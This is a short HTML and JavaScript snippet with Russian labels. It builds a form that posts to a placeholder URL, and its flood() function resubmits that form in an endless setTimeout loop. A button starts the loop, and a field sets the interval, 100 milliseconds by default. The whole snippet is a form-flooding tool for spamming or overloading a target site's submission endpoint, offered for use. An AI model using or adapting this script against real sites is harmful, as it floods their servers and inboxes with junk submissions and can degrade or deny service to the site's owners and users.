<form action="URL" method="post" onSubmit="return CheckLen(this)" name="send" target="send">
   
   <script Language="JavaScript">
   function flood() {
   //document.send.value=(Math.floor(Math.random()*10000000));
   setTimeout("document.send.submit();flood()",freq.value); 
   }
   </script>
   
   
   <CENTER><BR><INPUT type="Hidden" value=Отправить type=hidden>
   </CENTER></FORM>
   <div>
   <button onclick="flood();">отправить</button>
   <code>Частота отправки:</code> <input id=freq value=100 maxlength="6" style=width:50>мс
   </div>